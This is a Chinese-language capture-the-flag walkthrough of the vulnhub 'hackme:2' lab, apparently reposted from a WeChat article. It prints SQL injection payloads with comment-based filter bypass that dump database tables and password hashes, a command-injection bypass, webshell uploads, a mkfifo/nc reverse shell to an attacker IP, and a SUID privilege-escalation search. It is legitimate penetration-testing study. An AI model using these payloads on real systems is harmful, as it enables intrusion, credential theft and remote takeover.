本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
0x01 背景:
hackme:2 是 vulnhub 上的一个 medium 难度的 CTF 靶机,难度适中、内容丰富,贴近实战。而且没有太多的脑洞,适合安全工作者们用来练习渗透测试,然而唯一的缺憾是目前没有公开的攻略,因此把个人的通关过程记录于此,作为攻略分享给大家!
SQL 注入、WAF Bypass、模糊测试、文件上传、suid 提权
做 vulnhub 上的靶机的第一步,所有的靶机都是一样的套路,不在这里多费笔墨。
打开位于 80 端口的 Web 页面,注册一个测试账号 wangtua/wangtua,就可以登录系统了,可以发现是一个书店系统。
进入系统之后发现有一个搜索框,SQL 注入的套路很明显了。要做 SQL 注入、第一步就是猜测 SQL 语句的格式和注入点。
本搜索框的功能是检索数据库中的书名、当搜索框为空的时候,可以返回所有的内容,
当搜索框中只包含书名的前一部分的时候,也可以返回对应的内容:
因此我们猜测 SQL 语句格式为 (% 代表通配符,可以匹配零个或者多个任意字符):
$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"
基于此,我们构造如下 payload:
Linux%' and '123' like '1
使用另一个 payload:
Linux%' and '23' like '1
发现无法返回结果
可以验证我们的想法。
然而我们使用数据库函数的时候却出现了问题:
Payload:
Linux%'/**/and database() like/**/'
没有返回内容, 而当我们使用注释符来代替空格的时候,则可以执行成功。
通过构造联合查询,一步一步获取出数据库名,表名,列名和字段
Linux%'/**/union/**/select/**/database/**/(),'2','3
Linux%'/**/union/**/select/**/group_concat(table_name),"2","3"/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp
Linux%'/**/union/**/select/**/group_concat(column_name),"2","3"/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'users'and/**/table_schema/**/like'webapp
Linux%'/**/union/**/select/**/group_concat(user),'2',group_concat(pasword)/**/from/**/users/**/where/**/'1'/**/like/**/'
到此为止我们发现了一个 superadmin 的账号,将 md5 值在线解码之后发现是 Uncrackable
进入超级管理员账号之后,我们发现了一个可以进行文件上传的点,
上传 cat.jpg 之后,页面上回显了上传路径。
然而我们却无法直接访问任何文件。
接下来我们注意到下面两个输入框,可以将处理结果回显到页面上,这里我除了想到 XSS 之外。还想到了测试命令注入或者模板注入。可以发现在 Last Name 输入框里输入 7*7,可以返回 49
我们可以使用 BurpSuite 专业版的 Intruder 模块来进行模糊测试。
Payload 选择模糊测试 - 完整,
点击开始攻击。
攻击完成之后可以发现 id
这个 payload 有命令执行的回显。
我们换其他命令来执行,例如 pwd,ls 都可以正确执行而 cat 命令无法执行,猜测其过滤了空格,我们使用 cat<welcomeadmin.php 这个 payload 来绕过过滤。
可以看到在返回包里泄露的 welcomeadmin.php 的完整源代码,包括文件上传的绝对路径。
以及命令执行的成因:
使用哥斯拉生成木马并上传,发现 php 后缀被过滤,换成 php3 等也不行。
后缀改成 png 之后才上传成功,然而无法正常解析成 PHP 文件。
这里考虑使用刚才的命令执行漏洞,将文件名改成 god.php
使用哥斯拉进行连接,发现连接成功
为了可以有更好的交互环境,我们用 kali 自带的 weevely 生成木马并连接,完成连接之后使用 nc 反弹 shell:
由于靶机的 nc 版本特殊,无法使用 nc -e 选项,因此这里使用了如下的 payload
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.129 2333 >/tmp/f
(来自参考资料 2)
使用 pyhton 伪终端命令, 可以在伪终端执行 sudo 等命令
使用命令 find / -perm -u=s -type f 2>/dev/null 来发现设置了 suid 位的应用程序(参考资料 1)
关于 suid 提权的原理,可以参考 P 师傅的博客 (参考资料 3)。
发现 home 目录下有一个可疑的文件,执行一下之后发现顺利 get root 权限。
这台靶机感觉制作的比较用心,SQL 注入和文件上传等部分都比较贴近实战,唯一美中不足的是提权部分有些太过简单。目前本人正在备考 OSCP,在 vulnhub 和 HTB 上做了不少靶机,打算最近把 vulnhub 上后渗透的套路总结一下,再发一篇文章,希望大家支持一下。
1) https://payatu.com/guide-linux-privilege-escalation
2) https://github.com/swisskyrepo/PayloadsAllTheThings
3) https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
(点击 “阅读原文” 查看链接)
- End -
精彩推荐
戳 “阅读原文” 查看更多内容